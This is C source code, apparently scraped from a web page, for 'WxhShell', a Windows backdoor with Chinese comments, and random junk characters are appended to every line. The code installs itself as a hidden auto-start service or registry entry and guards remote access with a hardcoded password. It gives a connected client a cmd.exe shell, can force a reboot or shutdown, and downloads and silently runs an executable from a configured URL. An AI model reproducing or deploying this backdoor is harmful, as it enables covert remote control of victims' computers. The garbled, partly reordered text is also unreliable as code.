  // 关机 mE $dO3  
  case 'd': { ~bU7QLr  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "|LQK0q3  
    if(Boot(SHUTDOWN)) ~2%3FV^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i1*C{Lf;%)  
    else { u?Hb(xZtg=  
    closesocket(wsh); :F|\Ij0T  
    ExitThread(0); 7s>a2  
    } !c8L[/L  
    break; 2/Nq'  
    } w$Ux?y- L  
  // 获取shell _\AUQ{  
  case 's': { HFh /$VM  
    CmdShell(wsh); [STje8+V  
    closesocket(wsh); lJ/6-dP  
    ExitThread(0); u*R7zY  
    break; VyZV (k  
  } ??xlA-E  
  // 退出 9`X&,S~e  
  case 'x': { P.4E{.)(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); OhWC}s  
    CloseIt(wsh); X\A]"su  
    break; wa?+qiWnrl  
    } `ut)+T V  
  // 离开 o<\6Rm  
  case 'q': { `7B14:\A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (&Q)EBdm  
    closesocket(wsh); kyAs'R @z  
    WSACleanup(); )+GX<2_  
    exit(1); EVz9WY  
    break; x70N8TQ_gK  
        } {CP o<lz  
  } Q;gQfr"c7  
  } [t}):}~F|  
@a;sV!S{  
  // 提示信息 /#\?1)jCK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ABiC9[Q0  
} a-Y6w5  
  } +FBi5h  
'Kd7l}e!  
  return; \]a uSO  
} Oy'0I,  
oP-;y&AS  
// shell模块句柄 L w*1 .~  
int CmdShell(SOCKET sock) 1}DerX6  
{ onh?/3l  
STARTUPINFO si; a@k.$  
ZeroMemory(&si,sizeof(si)); w%~qB5wF6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =#'+"+lQ }  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8>v7v&Bh|  
PROCESS_INFORMATION ProcessInfo; ahoh9iJ  
char cmdline[]="cmd"; 8!6<p[_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wLSjXpP8  
  return 0; hLn&5jYHvt  
} ,E]|\_]  
<[FS%2,0mb  
// 自身启动模式 ])68wqD  
int StartFromService(void) }{#7Z8   
{ z=%IcSx;  
typedef struct :%>oe> _"  
{ y8D 8Y8B  
  DWORD ExitStatus; @|]iSD&T #  
  DWORD PebBaseAddress; S#hu2\9D,  
  DWORD AffinityMask; a(g$ d2H  
  DWORD BasePriority; .yG8B:7N2  
  ULONG UniqueProcessId; y,1S& k  
  ULONG InheritedFromUniqueProcessId; D~7%};D[  
}   PROCESS_BASIC_INFORMATION; B ;;cbY  
@Z,qu2~|!  
PROCNTQSIP NtQueryInformationProcess; WY3_7k8u  
T+3k$G[e/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =^ gvZ| ]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (c 1u{  
ScsWnZ  
  HANDLE             hProcess; CARq^xI-  
  PROCESS_BASIC_INFORMATION pbi; 7kOE/>P?  
;q'DGzh  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !+%Az*ik  
  if(NULL == hInst ) return 0; 5=Zp%[ #  
9k*^\@\\x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yr (g~MQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4$qNcMdz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,d3Q+9/  
77*v-8c  
  if (!NtQueryInformationProcess) return 0; ]gjr+GV  
Hs.6;|0%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m`[oT\  
  if(!hProcess) return 0; |qQ{8T%)  
AfuXu@UZ_/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p3{x<AO/  
{/th`#o4b  
  CloseHandle(hProcess); d%S=$}o  
N:"M&E UM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +"TI_tK, S  
if(hProcess==NULL) return 0; ce 7Yr*ZB  
ecM4]U  
HMODULE hMod; )w^GP lh  
char procName[255]; yBJ/>SAcG  
unsigned long cbNeeded; `%KpTh  
\9[NH/.Z{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^aGZJiyJ  
G5y]^P  
  CloseHandle(hProcess); V=G b>_d  
^D% }V-"  
if(strstr(procName,"services")) return 1; // 以服务启动 OL,/-;z6  
{QIS411  
  return 0; // 注册表启动 !V$6+?2   
} u=_bM2;~Z  
,6S_&<{  
// 主模块 [q0_7  
int StartWxhshell(LPSTR lpCmdLine) *u:;:W&5y  
{ 4*@G&v?n  
  SOCKET wsl; UE}8Rkt  
BOOL val=TRUE;  =F",D=  
  int port=0; t~+{Hr) #y  
  struct sockaddr_in door; .Um?5wG~i  
&hSnB~hi  
  if(wscfg.ws_autoins) Install(); 'xLM>6[wz  
4Zv.[V]iOO  
port=atoi(lpCmdLine); /8P4%[\  
P3,Z5|)  
if(port<=0) port=wscfg.ws_port; D[>XwL  
&;r'{$  
  WSADATA data; kuKnJWv  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +SZ%&  
i5L+8kx4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   PsF- 9&_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r?Zy-yQ  
  door.sin_family = AF_INET; Allt]P>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qb>|n1F_  
  door.sin_port = htons(port); V8KTNt%  
^5FJ}MMJf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eCPKpVhP  
closesocket(wsl); 6\)8mK  
return 1; Q*mMF@-:  
} u@:=qd=\  
QXIbFv  
  if(listen(wsl,2) == INVALID_SOCKET) { Hz!U_?  
closesocket(wsl); oneSgJ  
return 1; FJn~ =hA  
} /q*Qx )y+1  
  Wxhshell(wsl); Y7b,td1  
  WSACleanup(); %(dV|,|v  
pZ@W6}  
return 0; YP .%CD(K  
Mi %1+  
} :) Fp B"  
@=MZ6q  
// 以NT服务方式启动 'EH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Qn'r+X5t  
{ sa0^1$(<  
DWORD   status = 0; p)[ BB6E  
  DWORD   specificError = 0xfffffff; _>_y@-b  
*+,Lc1|\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'wT./&Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yaYIgG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )@lo ';\  
  serviceStatus.dwWin32ExitCode     = 0; ?O.6r"  
  serviceStatus.dwServiceSpecificExitCode = 0; go%X%Os]  
  serviceStatus.dwCheckPoint       = 0; S#0|#Z5qD  
  serviceStatus.dwWaitHint       = 0; [V#&sAe  
v&CO#vK5.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T0np<l]A  
  if (hServiceStatusHandle==0) return; pn_gq~5ng  
H/v37%p7  
status = GetLastError(); 9q0,K" x)  
  if (status!=NO_ERROR) .>gU 9A(Nk  
{ :;hBq4h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GD6'R"tJ  
    serviceStatus.dwCheckPoint       = 0; 3/SqXu  
    serviceStatus.dwWaitHint       = 0; M;Mdz[Q  
    serviceStatus.dwWin32ExitCode     = status; i$LV44  
    serviceStatus.dwServiceSpecificExitCode = specificError;  h?pGw1Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (EF$^FYPK  
    return; \Dsl7 s=  
  } CsST-qxg  
/+JP~ K  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I +4qu|0lA  
  serviceStatus.dwCheckPoint       = 0; Vo9)KxR  
  serviceStatus.dwWaitHint       = 0;  k9VQ6A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uwS'*5tU  
} 3Ns:O2|  
C6T 9  
// 处理NT服务事件,比如:启动、停止 t"74HZO >  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [#@p{[?r  
{ 8-g$HXqs_#  
switch(fdwControl) DrCfC[A~]  
{ Z`1o#yZ  
case SERVICE_CONTROL_STOP: DkMC!Q\  
  serviceStatus.dwWin32ExitCode = 0; TXk"[>,:H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; cF<DUr)Ve  
  serviceStatus.dwCheckPoint   = 0; MvjwP?J]  
  serviceStatus.dwWaitHint     = 0; []fj~hj  
  { fO}1(%}d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  S~5 =1b  
  } kU9AfAe  
  return; FVLA^$5c  
case SERVICE_CONTROL_PAUSE: FU v)<rK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; * jNu?$  
  break; =VI`CBQ/Um  
case SERVICE_CONTROL_CONTINUE: H(ftOd.y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !Q/O[6  
  break; [(^''*7r+T  
case SERVICE_CONTROL_INTERROGATE: E rymx$@P  
  break; ,4I6RwB.  
}; )UU6\2^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `fE:5y  
} =|t1eSzc  
Uc;IPS  
// 标准应用程序主函数 9*Mg<P"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X/D9%[{&  
{ 3G0\i!*t  
oM7-1O  
// 获取操作系统版本 L1w4WFWO  
OsIsNt=GetOsVer(); f2K3*}P  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  [ ^ \)  
.\\#~r`t3  
  // 从命令行安装 Y7I  
  if(strpbrk(lpCmdLine,"iI")) Install(); {y%O_-C'r  
) W7H{#  
  // 下载执行文件 R}mWHB_h"  
if(wscfg.ws_downexe) { AyXKhj#Ml  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) IaqN@IlWb  
  WinExec(wscfg.ws_filenam,SW_HIDE); IZ ha* 7  
} ?fwr:aP~  
k5<0M'  
if(!OsIsNt) { [9Hm][|Ph  
// 如果时win9x,隐藏进程并且设置为注册表启动 Tfs9< k>G#  
HideProc(); E)SOcM)  
StartWxhshell(lpCmdLine); os+wTUR^  
} 5w%9b  
else a'.=.eDQ  
  if(StartFromService()) _E-GHj>k z  
  // 以服务方式启动 C/#/F#C  
  StartServiceCtrlDispatcher(DispatchTable); N^j''siB  
else h v+i{Z9!]  
  // 普通方式启动 Gs?sO?j  
  StartWxhshell(lpCmdLine); BbhdGFG1  
_$x *CP0(  
return 0; qt)mUq;>  
} N^>g= Ub  
ZACn_gd[5  
7[,f;zG  
zXO.NSC[  
=========================================== ~#xRoBy3  
LD"}$vfs  
Lg53 Ms%  
8XE0 p7  
p#I1l2nE  
eS+LFS7*k  
" }jXUd=.Nu  
7m$/.\5  
#include <stdio.h> ]5L3[A4Vu  
#include <string.h> BF#e=p  
#include <windows.h> n*|-"'j  
#include <winsock2.h> @TT[H*,  
#include <winsvc.h> n[7zK'%Dxg  
#include <urlmon.h> au v\fR :  
vDL/PXNC  
#pragma comment (lib, "Ws2_32.lib") !pXz-hxKT  
#pragma comment (lib, "urlmon.lib") Sy~Mh]{E  
"*WXr$  
#define MAX_USER   100 // 最大客户端连接数 Gj?q+-d!(5  
#define BUF_SOCK   200 // sock buffer Melc -[  
#define KEY_BUFF   255 // 输入 buffer we? #)9Q<  
yLX\pkAt4  
#define REBOOT     0   // 重启 C$; ~=  
#define SHUTDOWN   1   // 关机 n40Z  
f# + h_1#  
#define DEF_PORT   5000 // 监听端口 C\[UAxZ3X  
Q^OzFfR6  
#define REG_LEN     16   // 注册表键长度 C, rZ}-  
#define SVC_LEN     80   // NT服务名长度 _JXE/  
oPV"JGa/B4  
// 从dll定义API D.} b<kDD  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c eX*|B@=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); NI)nf;C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~>|U%3}]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZG|T-r;~  
cR} =3|t  
// wxhshell配置信息 m9S5;kB]  
struct WSCFG { |@F<ajlV  
  int ws_port;         // 监听端口 P{ o/F  
  char ws_passstr[REG_LEN]; // 口令 Q[^d{e*l  
  int ws_autoins;       // 安装标记, 1=yes 0=no (@9-"W  
  char ws_regname[REG_LEN]; // 注册表键名 <o O_wS@:  
  char ws_svcname[REG_LEN]; // 服务名 .#}R$}e+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 MaM7u:kD#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Qp}<8/BM\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :KwYuwYS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5q[@N  J  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Wj0([n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (H7q[UG|  
t s&C0  
}; C;|Ru*  
z#b6 aP  
// default Wxhshell configuration q.4DwY5 L  
struct WSCFG wscfg={DEF_PORT, \uH;ng|m  
    "xuhuanlingzhe", M*Xzr .6  
    1, FqySnrJQ  
    "Wxhshell", L '=3y$"],  
    "Wxhshell", {^F_b% a4z  
            "WxhShell Service", {fWZ n  
    "Wrsky Windows CmdShell Service", AiuF3`Xa  
    "Please Input Your Password: ", y!j1xnzki  
  1, O\?ei+(H7  
  "http://www.wrsky.com/wxhshell.exe", G9jtL$}E<  
  "Wxhshell.exe" &f$jpIyVX  
    }; *KNR",.  
PeOgXg)L`z  
// 消息定义模块 % rkUy?=vu  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3JwmLGj}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; TX;|g1K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |"arVde  
char *msg_ws_ext="\n\rExit."; Y) Z>Bi  
char *msg_ws_end="\n\rQuit."; q?wB h^  
char *msg_ws_boot="\n\rReboot..."; oPi)#|jcb  
char *msg_ws_poff="\n\rShutdown..."; B; ~T|exu  
char *msg_ws_down="\n\rSave to "; JP#m} W  
Z"A:^jZ<s  
char *msg_ws_err="\n\rErr!"; vjWS35i  
char *msg_ws_ok="\n\rOK!"; I>:'5V  
T ^uBMDYe  
char ExeFile[MAX_PATH]; *ood3M[M^  
int nUser = 0; 8I*fPf  
HANDLE handles[MAX_USER]; u VB&D E  
int OsIsNt; 9.<$&mVk7`  
eb7`R81G  
SERVICE_STATUS       serviceStatus; C)`/Q(^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; M C>{I3  
&iTsuA/7  
// 函数声明 }a8N!g  
int Install(void); {oO!v}]  
int Uninstall(void); mIOx)`$  
int DownloadFile(char *sURL, SOCKET wsh); I;=}@]9  
int Boot(int flag); x\)-4w<P  
void HideProc(void); u4%-e )$X  
int GetOsVer(void); Q16RDQ*  
int Wxhshell(SOCKET wsl); % 30&6"  
void TalkWithClient(void *cs); *<J**FhcMu  
int CmdShell(SOCKET sock); ).LJY<A  
int StartFromService(void); } ZV$_  
int StartWxhshell(LPSTR lpCmdLine); Fm:Ri$iT  
Dp>/lkk.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); LqW~QEU(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); e<q;` H  
7z`)1^ M  
// 数据结构和表定义 By%aTuV$  
SERVICE_TABLE_ENTRY DispatchTable[] = w}+jfO9  
{ 4W6gKY  
{wscfg.ws_svcname, NTServiceMain}, s3oK[:/  
{NULL, NULL} y/E%W/3  
}; od$Cm5  
k: D<Q  
// 自我安装 a&9+<  
int Install(void) -GQ`n01  
{ fAXF_wj  
  char svExeFile[MAX_PATH]; F@[l&`7  
  HKEY key; T2GJoJ!  
  strcpy(svExeFile,ExeFile); K-#v5_*  
z;D[7tT  
// 如果是win9x系统,修改注册表设为自启动 ^k/@y@%  
if(!OsIsNt) { E<Efxb' p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1ih|b8)Dn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kk& ([ xqU  
  RegCloseKey(key); A(ql}cr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bt"*@NJ$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o^H.uBO{  
  RegCloseKey(key); /a Nlr>^  
  return 0; `|+!H.3  
    } _I+QInD;)  
  } Xnpw'<~X  
} i1}Y;mj  
else { \9jEpE^Ju(  
.liVlo@  
// 如果是NT以上系统,安装为系统服务 Onz@A"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :;HJ3V;  
if (schSCManager!=0) IZn|1X?}\s  
{ yp9vgUs  
  SC_HANDLE schService = CreateService gd#+N]C_  
  ( Ia %> c  
  schSCManager, v4OroG=^  
  wscfg.ws_svcname, Z^wogIAV  
  wscfg.ws_svcdisp, =*>ri  
  SERVICE_ALL_ACCESS, QbrR=[8b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sYE|  
  SERVICE_AUTO_START, $MhfGMk!'  
  SERVICE_ERROR_NORMAL, h6`v%7H?  
  svExeFile, OiI29  
  NULL, wN Mf-~  
  NULL, ~+ [T{{  
  NULL, *5m4 j=-  
  NULL, bS7%%8C  
  NULL 1)Z4 (_  
  ); =e*S h0dK  
  if (schService!=0) q|h#J}\  
  { DXyRNE<G[C  
  CloseServiceHandle(schService); xe`SnJgA  
  CloseServiceHandle(schSCManager); djmd @{Djt  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C@b-)In  
  strcat(svExeFile,wscfg.ws_svcname); 7G':h0i8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {?X:?M_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uidoz f2}  
  RegCloseKey(key); yVfF *nG  
  return 0; rUn1*KWbE  
    } &+|bAn9AJ  
  } 5LaF'>1yY  
  CloseServiceHandle(schSCManager); y?OK#,j  
} Jo'~oZ$  
} zt!)7HBo  
<]Btx;}  
return 1; me@k~!e"z  
} FeL!%z  
fD3>g{  
// 自我卸载 #kQ1,P6,(  
int Uninstall(void) {&TP&_|H  
{ s.$:.*k  
  HKEY key; s7?d_+O  
fL(_V/p^  
if(!OsIsNt) { z"\<GmvB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lK Ry4~O  
  RegDeleteValue(key,wscfg.ws_regname); d~qZ;uw  
  RegCloseKey(key); #sm@|'Q%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AB+HyZ*//  
  RegDeleteValue(key,wscfg.ws_regname); B,b^_4XX$  
  RegCloseKey(key); *JArR1J  
  return 0; W4#E&8g%  
  } E>c*A40=.n  
} 'i:S=E F  
} 6GMwB@ b  
else { h9Tst)iRi  
T s9go  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ST1;i5   
if (schSCManager!=0) '$h0l-mQ  
{ RPw1i*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jO.c>C[?  
  if (schService!=0) mXT{c=N)w  
  { g?rK&UTU  
  if(DeleteService(schService)!=0) { D\Fu4Eg  
  CloseServiceHandle(schService); )O,+'w?  
  CloseServiceHandle(schSCManager); wvI}|c  
  return 0; Bq~?!~\?.  
  } k $E{'Dv  
  CloseServiceHandle(schService); G&q@B`I  
  } LG vPy  
  CloseServiceHandle(schSCManager); >P}6/L  
} .2 }5Dc,eR  
} ]]hsLOM]  
xJ^pqb  
return 1; .-:@+=(  
} Na.)!h_Kn'  
+7Qj%x\  
// 从指定url下载文件 & &:ZY4`  
int DownloadFile(char *sURL, SOCKET wsh) e@DVf  
{ 2{01i)2y  
  HRESULT hr; (,['6k<  
char seps[]= "/"; 8Yw V"+Fu/  
char *token; OSkBBo]~z  
char *file; Mb+CtI_'  
char myURL[MAX_PATH]; "b0!h6$!H  
char myFILE[MAX_PATH]; 4Y{&y6  
\GCT3$  
strcpy(myURL,sURL); .~%,eF;l$  
  token=strtok(myURL,seps); L[Y|K%;~  
  while(token!=NULL) -v~XS-F  
  { yb-/_{Y  
    file=token; (!koz'f  
  token=strtok(NULL,seps); :Oc&{z?q  
  } aFDCVm%U|  
E#`JH  
GetCurrentDirectory(MAX_PATH,myFILE); QD^"cPC)mM  
strcat(myFILE, "\\"); JT*Pm"}  
strcat(myFILE, file); 2KSt4oa  
  send(wsh,myFILE,strlen(myFILE),0); U/:x<Y$ tj  
send(wsh,"...",3,0); K@@Jt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A5YS "i  
  if(hr==S_OK) ?sbM=oo  
return 0; l`vr({A  
else C<hb{$@  
return 1; Ts 3(,Y  
B=hJ*;:p  
} Yd$64d7,h  
!Nno@S P@  
// 系统电源模块 }9>X M  
int Boot(int flag) v QL)I  
{ hionR)R4  
  HANDLE hToken; UE/N-K)`  
  TOKEN_PRIVILEGES tkp; bn8?-  
Lz;E/a}s  
  if(OsIsNt) { c$]NXKcA  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ii]'XBSVd  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AV?<D.<  
    tkp.PrivilegeCount = 1; QLAyX*%B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nwAx47>{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b}jLI_R{  
if(flag==REBOOT) { aoS]Qp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ! jb{q bq  
  return 0; (r )fx  
} kC2_&L  
else { -}r(75C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Is !DiB  
  return 0; [8C6%n{W  
} 7Om)uUjU4  
  } #L,5;R{`  
  else {  LYX\#  
if(flag==REBOOT) { bNO/CD4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =m= utd8  
  return 0; me`( J y<  
} Q.[^5 8  
else { jZ>'q/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P=9Zm  
  return 0; "Z6:d"S`  
} R!.HS0i.  
} $W;IW$  
6axm H~_  
return 1; ^R4eW|H  
} ^y"$k  
~ ]q^Akq  
// win9x进程隐藏模块 v#`Wf}G  
void HideProc(void) uz+b  
{ jq&$YmWp  
jsvD[\P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :{tvAdMl7  
  if ( hKernel != NULL ) B$)6X  
  { R`:NUGR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]-aeoa#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (UV+/[,  
    FreeLibrary(hKernel); Q(KLx)  
  } ^9UF Pij"  
"ppT<8Qi'  
return; #={L!"3?e  
} K5)G+Id*  
SJ-g2aAT  
// 获取操作系统版本 EhybaRy;C  
int GetOsVer(void) %zyMWC  
{ soZw""|v  
  OSVERSIONINFO winfo; sHrpBm&O4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3Fn26Ri j  
  GetVersionEx(&winfo); OR^Wd  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8P!dk5 ,,O  
  return 1; %f&(U/  
  else +2w54X%?M  
  return 0; &hba{!`y  
} T}[W')[s  
|b/J$.R  
// 客户端句柄模块 @X/S h:  
int Wxhshell(SOCKET wsl) <' %g $"  
{ h ;5 -X7  
  SOCKET wsh; asW1GZO  
  struct sockaddr_in client; ('uYA&9  
  DWORD myID; 3_T'TzQ u  
%MP s}B  
  while(nUser<MAX_USER) vO{ijHKE  
{ RQ{w`> K  
  int nSize=sizeof(client); {zUc*9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _u;^w}0  
  if(wsh==INVALID_SOCKET) return 1; '{cN~A2b4  
^^?DYC   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %T6#c7U_  
if(handles[nUser]==0) vo`wYJ3W  
  closesocket(wsh); !icpfxOpjQ  
else kFM'?L&  
  nUser++; #4//2N  
  } kM3BP& 3m1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @LL&ggV?  
.4!N #'  
  return 0; : 6>H\  
} Lf0Hz")  
% C 3jxt  
// 关闭 socket 6eDIS|/  
void CloseIt(SOCKET wsh) Xq>e]#gR  
{ Xp} vJl   
closesocket(wsh); 2hJ{+E.m  
nUser--; b=|&0B$E  
ExitThread(0); 4(aesZ8h  
} ~2H7_+.#  
0='DDy  
// 客户端请求句柄 Bd NuhV`0  
void TalkWithClient(void *cs) TLSy+x_gX  
{ R ^B2J+O  
k@8#Byl|  
  SOCKET wsh=(SOCKET)cs; %o"Rcw|  
  char pwd[SVC_LEN]; +cV!=gDT  
  char cmd[KEY_BUFF]; }qD.Ek  
char chr[1]; T![K i  
int i,j; W;N/Y3Lb  
YQ]H3GA  
  while (nUser < MAX_USER) { :):Y6)giBD  
f]'@Vt>  
if(wscfg.ws_passstr) { #`p>VXBj!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VNYLps@4H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o`77gkLO  
  //ZeroMemory(pwd,KEY_BUFF); 4o*V12_r'4  
      i=0; BL8\p_U  
  while(i<SVC_LEN) { I }/Oi]jA6  
4iLU "~  
  // 设置超时 MtYP3:  
  fd_set FdRead; dJLJh*=AG  
  struct timeval TimeOut; +uLo~GdbE  
  FD_ZERO(&FdRead); y:A0!75  
  FD_SET(wsh,&FdRead); R{[Q+y'E  
  TimeOut.tv_sec=8; =wj~6:Bf  
  TimeOut.tv_usec=0; P+b^;+\1s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {cv;S2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xF/DYXC{8  
*n*y!z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gPwp [  
  pwd=chr[0]; t3GK{X  
  if(chr[0]==0xd || chr[0]==0xa) { o 4b{>x  
  pwd=0; g \-3c=X  
  break; Mz G ryM-  
  } %8*d)AB:  
  i++; iTt=aQjd  
    } h]Oplp4 \W  
=CVT8(N*  
  // 如果是非法用户,关闭 socket 7[H`;l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rl^LS z  
} zrew:5*uZ  
z`5I 1#PVA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1!`768  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >slN:dr0:  
:'dc=C  
while(1) { 8e@JvAaa$  
/ 3k\kkv!  
  ZeroMemory(cmd,KEY_BUFF); Mak9qaWqF>  
E`4=C@NN+,  
      // 自动支持客户端 telnet标准   "J5Pwvs-  
  j=0; fE*I+pe  
  while(j<KEY_BUFF) { 2jZ}VCzRG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WHZng QmY  
  cmd[j]=chr[0]; qE72(#:R*  
  if(chr[0]==0xa || chr[0]==0xd) { +7/*y}.U  
  cmd[j]=0; 62x< rph  
  break; 6h_k`z  
  } E E|zY%  
  j++; s~$4bN>LD  
    } T+nC>}*jgJ  
>ij4z N  
  // 下载文件 otVyuh  
  if(strstr(cmd,"http://")) { dO4#BDn"=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); CDYx/yO  
  if(DownloadFile(cmd,wsh)) Au._n,<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~9 WJrRWB  
  else -fx88  
